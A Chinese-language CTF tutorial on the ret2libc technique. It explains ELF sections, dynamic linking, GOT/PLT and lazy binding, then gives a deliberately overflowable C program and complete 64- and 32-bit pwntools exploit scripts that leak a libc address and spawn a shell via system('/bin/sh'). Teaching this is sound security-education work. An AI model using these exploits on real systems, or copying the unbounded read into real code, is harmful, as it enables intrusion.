ret2libc
ELF 文件概述
CPU 通过低级别的机器语言执行指令,从高级语言到机器语言必然需要翻译。在这一过程中:
- 预处理器先根据字符
#
开头的代码进行文本替换、宏展开、删除注释的简单工作,得到另一个 C 程序,以.i
为后缀名 - 编译器将文本文件翻译为汇编语言程序,输出为
.s
文件。其中会对预处理文件进行语义分析与优化,分析过程如有语法错误,给出提示信息并终止 - 汇编器将
.s
文件翻译为机器语言,并把这些指令打包成可重定位目标文件格式,保存在.o
文件中 - 若程序运行过程中会调用函数库,则链接器将该目标文件与其他目标文件合并,创建一个可执行目标文件,最后可执行文件加载到存储器中由系统负责执行;链接器的主要作用如下:
- 符号解析(symbol resolution):将目标文件中每一个符号(静态变量、函数、全局变量)和其定义相关联
- 重定位(relocation):将每个符号的定义与具体在虚拟内存中的位置进行关联,由此函数库分为静态链接库(
.a
)和动态链接库(.so
)两种,分别对应着静态链接和动态链接两种不同的链接方式
目标文件在不同的操作系统与平台上有着不同的命名格式,在 Unix/Linux 中被称为 ELF(Executable and Linkable Format)。ELF 文件格式规范提供了两种不同的视角来审视,一种是链接视角,通过节(section)进行划分,另一种是运行视角,通过段(segment)进行划分。节、段二者只是解释 ELF 文件中数据的两种形式罢了;随着节的数量增多,内存映射时就会产生空间和资源浪费的问题。因此,段的出现是为了对不同的节进行分组。系统并不关心每个节的实际内容,而是关心这些节的权限(读写、执行),将不同权限的节分组,即可同时装载多个节,从而节省资源。
ELF 文件结构
ELF 头(header)必须在文件开头,表示该文件的基本信息,包括 ELF 的 magic code
、程序运行的计算机架构、程序入口等内容。可通过 readelf -h
读取其内容,一般用于寻找一些程序的入口。
ELF 文件由多个节组成,其中存放各种数据。描述节的各种基本信息的数据统一存放在节头表中。ELF 文件中的节主要包括:
.text
:存放一个程序的运行所需的所有代码.rdata
:存放程序使用到的不可修改的静态数据.data
:存放程序已初始化的可修改的数据.bss
:存放程序未被初始化的可修改数据.plt
和.got
:动态链接依赖这两个节;程序调用动态链接库中的函数时,需要它们配合以获取被调用函数的地址
动态链接
简单来说,静态链接就是将多个目标文件,链接并复制静态库中的函数与数据,直接一并压缩打包在同一个可执行文件中。随着系统中可执行文件的增加,静态链接带来的硬盘和内存空间浪费问题愈发严重,静态链接库会被重复链接整合到可执行文件中,不同静态链接的可执行文件所包含的两个相同库也会被同时装载进去。特别地,如果对标准库函数做了微小改动,都需要重新编译整个源文件,使得开发和维护更为艰难。
如果不把系统库和自己编写的代码链接到一个可执行文件,而是分割成两个独立的模块,等到程序真正运行时,再把这两个模块进行链接,就可以节省硬盘空间,并且虚拟内存中的一个系统库可以被多个程序共同使用,还节省了物理内存空间。这种在运行或加载时,在内存中完成链接的过程叫作动态链接。用于动态链接的系统库称为共享库(shared libraries),整个过程由动态链接器完成。
位置无关代码
现代操作系统中,动态链接库需被多个进程加载到不同内存地址运行,若代码直接使用绝对地址,会因加载地址变化、寻址失败而程序崩溃。因此,我们需要实现代码动态加载的地址无关性,通过相对寻址、间接跳转的特性确保代码的正确寻址与执行。可以加载而无须重定位的代码称为位置无关代码(Position-Independent Code, PIC),是共享库必须具有的属性。通过 PIC,一个共享库的代码可以被无线多个进程所共享,从而节约内存资源。
当代码需要访问外部变量和函数(如 stdio.h
中的 printf()
)时,由于这些符号的地址在编译时未知(依赖运行时加载位置),我们需要一种机制在运行时动态解析和重定位外部符号地址为实际的内存地址;由于一个程序(或者共享库)的数据段和代码段的相对距离总是保持不变的,指令和变量之间的距离是一个运行时常量(即偏移),与绝对内存地址无关,于是就有了全局偏移量表(Global Offset Table, GOT),它位于数据段开头,用于保存全局变量和库函数的引用,在加载时会进行重定位并填入符号的绝对地址。
PIC 是解决动态加载问题的编译期策略,而延迟绑定则是其运行时核心实现机制。
延迟绑定
由于动态链接是由动态链接器在程序加载时进行的,当需要重定位的符号多了之后,势必会影响性能。延迟绑定(lazy binding)正是针对于此问题的优化技术,它可以延迟函数地址的解析过程,直到这个函数被实际调用为止,动态链接器才进行符号查找、重定位等操作。
实际上,为了引入 RELRO 机制,GOT 被拆分为 .got
节和 .got.plt
节两个部分,不需要延迟绑定的前者用于保存全局变量的引用,加载到内存后被标记为只读;需要延迟绑定的后者则用于保存函数引用,具有读写权限。Linux 漏洞缓解措施中的 Full Relro(RElocation Read-Only) 保护与延迟绑定有关,其主要作用是禁止 .got.plt
表和其他一些相关内存的读写,从而阻止攻击者通过篡改 .got.plt
表来进行攻击利用的手段。
ELF 文件通过过程链接表(Procedure Linkage Table, PLT)和 GOT 的配合来实现延迟绑定,每个被调用的库函数均有一组对应的 PLT 和 GOT。GOT 属于纯数据结构,只存储地址;而 PLT 则属于代码逻辑,负责处理复杂的动态解析流程,避免污染 GOT。
位于代码段 .plt
节的 PLT 是一个包含一系列跳转指令的数组,每个条目占 16 个字节。其中 PLT[0]
用于跳转到动态链接器,从 PLT[1]
开始则是被调用的各个函数条目。
位于数据段 .got.plt
节的 GOT 也是一个数组,每个条目占 8 个字节。其中 GOT[0]
和 GOT[1]
包含动态链接器在解析函数地址时所需要的两个地址,GOT[2]
是动态链接器 ld-linux.so
的入口点,用于调用 __dl_runtime_resolve()
解析动态链接库中函数的实际地址,从 GOT[3]
开始则是被调用的各个函数条目,这些条目默认指向对应 PLT 条目的第二条指令,完成绑定后才会被修改为函数的实际地址。
以调用 foo()
库函数为例,第一次调用时,执行 call
指令进入对应的 PLT 表 foo@plt
,第一条 JMP 指令跳到对应的 GOT 条目,此时该位置保存的还是 PLT 条目下第二条指令的地址,于是回到 PLT 条目中,将 index
( foo()
在 .rel.plt
中的下标)压栈,随后进入 PLT[0]
。
PLT[0]
先将 GOT[1]
压栈,然后调用 GOT[2]
,也就是动态链接器的 _dl_runtime_resolve()
函数,完成符号解析和重定位工作,并将 foo()
的实际地址填入 foo@got.plt
中,也就是 GOT[4]
,最后才把控制权交给 foo()
。
绑定完成后,如果再调用 foo()
,就可以由 foo@plt
的第一条指令直接跳转到 foo@got.plt
,将控制权交给 foo()
。
延迟绑定的总体流程如下图:
我们以一张表格总结 PIC、GOT、PLT 三者在动态链接过程中的定位与作用:
组件 | 定位 | 工作 | 何时发挥作用 |
---|---|---|---|
PIC | 整体策略 | 决定代码生成方式(PC 相对寻址、GOT/PLT 预留) | 编译时 |
GOT | 地址簿 | 由 PIC 策略驱动,存储符号真实地址 | 运行时 |
PLT | 接线员 | 依赖 GOT 完成地址解析和缓存 | 运行时 |
64 位 ret2libc
给出如下 C 源码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int dofunc() {
char b[8] = {};
write(1, "input:", 6);
read(0, b, 0x100);
write(1, "byebye", 6);
return 0;
}
int main() {
dofunc();
return 0;
}
使用 Ubuntu 16.04 按 64 位编译:
gcc ret2libc.c -o ret2libc_x64 -fno-stack-protector -no-pie
我们可以看到,程序中已经不存在可直接调用的 system()
函数了。在 IDA 中,write()
和 read()
函数均是外部符号,来源于 libc
动态链接库:
进入 GDB 动态调试,si
进入 call write
内部,实际上就是延迟绑定的基本流程,CALL 指令直接跳转到对应的 PLT 条目中,再转到 GOT 中解析函数地址。
程序运行时,共享库 libc
会全部载入到内存中。这意味着,同 write()
和 read()
这两个库函数一样,system()
函数也存放在虚拟内存中。根据 PIC 策略,即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变,而共享库是块状连续的,其中各个库函数的相对位置是不变的,只要获悉共享库的版本信息以及 libc
基地址(共享库的入口处)即可。
因此,根据延迟绑定机制,我们通过如下步骤获取到 system()
的真实地址:
- 泄漏已经执行过的库函数的真实地址
- 根据
libc
版本(每个库函数均有固定的偏移)计算出 libc 基地址 - 由
system()
函数在该libc
库中的偏移计算出system()
的真实地址
简单推导一下,libc 基地址 + 被泄漏函数偏移 = 被泄漏函数实际地址,即 libc 基地址 = 被泄漏函数真实地址 - 被泄漏函数偏移,而 system 真实地址 = libc 基地址 + system 偏移。由此,采用常规的栈溢出二次攻击即可将程序执行流导向 system()
,从而 get shell。
以泄漏 write()
函数实际地址为例。为了接收到泄漏的函数地址,需要构造 write(0x1, write_got_addr, 6)
的 ROP 链,利用 write()
将已经存储了真实地址的对应 GOT 地址的值打印输出到终端,从而通过 pwntools 的 recv()
接收到真实地址。先使用 ROPgadget 查看可利用的 gadgets:
我们需要使用 RDI 和 RSI 传递 0x1 和 write_got_addr 两个参数,其中 0x1 是文件描述符 fd
,指代写入操作,而第三个参数 6 即每次写入的字节数,已经在先前的调用中传入 RDX,可直接使用。这里我们发现没有直接的 pop rsi; ret
,则可以利用 pop rsi; pop r15; ret
这个 gadget,连续 POP GOT 地址和任意地址到寄存器上。
# ...
elf = ELF(file)
padding = 0x18
write_got_addr = elf.got['write']
pop_rdi_ret = 0x400633
pop_rsi_r15 = 0x400631
payload = flat([b'a' * padding, pop_rdi_ret, 0x1, pop_rsi_r15, write_got_addr, 0xdeadbeef])
其中 ELF()
函数返回一个存放 ELF 文件信息的对象,从中可以读取 GOT 表和 PLT 表对应条目的地址,通过字典中的 key 来索引。
传参完毕后,跳转到 write()
函数执行打印输出。值得注意的是,我们只是泄漏了 write()
函数的真实地址,尚未完成攻击,需要再次返回到 dofunc()
函数以输入数据。
write_sym = elf.symbols['write']
ret_func_addr = elf.symbols['dofunc']
payload += flat([write_sym, ret_func_addr])
io.sendlineafter(b'input:', payload)
其中 elf
的属性 symbols
返回的是一个包含所有符号表条目的字典,按 key 索引。
这样,write()
函数就可以输出其自身的真实地址。附加到 GDB 动态调试可知:
先跳过 byebye
字符串数据,再接收 6 个字节的数据,并且按小端序解包为常规的 16 进制地址数据。由于 64 位栈的 1 个字长占 8 字节,接收到的地址还要对齐 8 字节。recv(6)
保证只接收 6 字节数据,其方法 ljust(8, b'\x00')
将数据左对齐到 8 字节,高位按 \x00
补齐,u64()
则将小端序数据按 64 位解包。
io.recvuntil(b'byebye')
write_addr = u64(io.recv(6).ljust(8, b'\x00'))
print('write addr: ', hex(write_addr))
成功获取到 write()
函数的真实地址,那么如何计算出其在 libc 库中的偏移呢?我们可以通过 ldd
命令查看程序链接的共享库,将其拷贝放入 IDA 进行静态分析,在 Functions 窗口输入对应的函数来索引,此时 libc 基地址默认为 0,则对应的库函数地址即为偏移,而 /bin/sh
字符串也是一并存储在共享库的,可以通过 Shift + F12 搜索。
内存一般采用 4KB 分页机制,而 1024 = 0x400
,从而 4 * 1024 = 0x1000
,则 libc 基地址后三位必定为 0,由此 libc 库函数真实地址的后三位也存在着规律,加以利用即可找出程序使用的 libc 库版本。我们可以使用 libc.blukat.me 网站来快速查找匹配的 libc 版本,输入泄漏函数符号及其真实地址的后三位。查询结果可能会给出多个 libc 版本,需要根据系统架构、共享库类型等基本信息筛选出符合要求的版本,再逐一测试是否正确。
更进一步地,我们可以在 Python 脚本中使用 LibcSearcher
工具查找对应的偏移,利用 libc 基地址 = 被泄漏函数真实地址 - 被泄漏函数偏移、system 真实地址 = libc 基地址 + system 偏移 公式计算 system()
和 /bin/sh
字符串的真实地址:
from LibcSearcher import *
# ...
libc = LibcSearcher("write", write_addr) # 返回一个 LibcSearcher 对象
libc_base = write_addr - libc.dump("write")
print('libc addr: ', hex(libc_base))
system_addr = libc_base + libc.dump("system")
print('system addr: ', hex(system_addr))
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
print('/bin/sh addr: ', hex(bin_sh_addr))
其中 libc.dump()
返回传入字符串对应的函数在 libc 库中的偏移。
获得了 system()
函数和 /bin/sh
字符串的真实地址,程序执行流再度进行到 dofunc()
的输入操作,此时我们再按之前 ret2text 发送 payload 即可取得 shell。
payload_2 = flat([b'a' * padding, pop_rdi_ret, bin_sh_addr, system_addr])
io.sendlineafter(b'input:', payload_2)
io.interactive()
完整 Exp 脚本:
点击查看代码
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')
file = './ret2libc_x64'
io = process(file)
elf = ELF(file)
padding = 0x18
write_got_addr = elf.got['write']
ret_func_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']
pop_rdi_ret = 0x400633
pop_rsi_r15 = 0x400631
# Leak the real address
payload = flat([b'a' * padding, pop_rdi_ret, 0x1, pop_rsi_r15, write_got_addr, 0xdeadbeef])
payload += flat([write_sym, ret_func_addr])
io.sendlineafter(b'input:', payload)
io.recvuntil(b'byebye')
write_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
payload_2 = flat([b'a' * padding, pop_rdi_ret, bin_sh_addr, system_addr])
io.sendlineafter(b'input:', payload_2)
io.interactive()
32 位 ret2libc
目前比赛很少考察 32 位的情况。将上一节的源码按 32 位编译:
gcc -m32 ret2libc.c -o ret2libc_x86 -fno-stack-protector -no-pie
思路、方法同 64 位,需要注意 32 位传参的相关特性,以及只需要接收 4 字节地址数据,不需要额外的对齐,按 u32()
解包。
点击查看代码
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux')
file = './ret2libc_x86'
io = process(file)
elf = ELF(file)
padding = 0x14
write_got_addr = elf.got['write']
ret_func_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']
# Leak the real address
payload = flat([b'a' * padding, write_sym, ret_func_addr, 1, write_got_addr, 4])
io.sendlineafter(b'input:', payload)
io.recvuntil(b'byebye')
# Receive the real address
write_addr = u32(io.recv(4))
# Calculate the offset
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
payload_2 = flat([b'a' * padding, system_addr, 0xdeadbeef, bin_sh_addr])
io.sendlineafter(b'input:', payload_2)
io.interactive()